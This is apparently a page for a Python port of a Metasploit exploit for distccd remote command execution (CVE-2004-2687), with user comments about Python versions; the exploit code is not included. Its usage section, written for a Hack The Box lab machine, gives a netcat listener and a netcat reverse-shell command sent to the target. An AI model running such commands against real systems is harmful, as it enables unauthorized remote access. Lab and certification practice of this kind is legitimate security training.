(CVE-2004-2687) DistCC Daemon - Command Execution (Python)

	distccd v1 RCE (CVE-2004-2687)
	
	This exploit is ported from a public Metasploit exploit code :
		https://www.exploit-db.com/exploits/9915

	The goal of that script is to avoid using Metasploit and to do it manually. (OSCP style)

	I'm aware a Nmap script exists but for some reason I could not get it to work.

	Lame Box (HTB):
		local>nc -lvp 1403

		local>./disccd_exploit.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.64 1403 -e /bin/sh"	

		Enjoy your shell

This script was build for Python3 and it works in my side ;)

works for me in Python3 as well. Thank you

thanks for this script fam.

Thank you, python2 for HTB Lame

This only works in Python2 for me.

I removed the #!/usr/bin/python for those that were confused.

yeah it's cool thanks

Fixed for Python3:
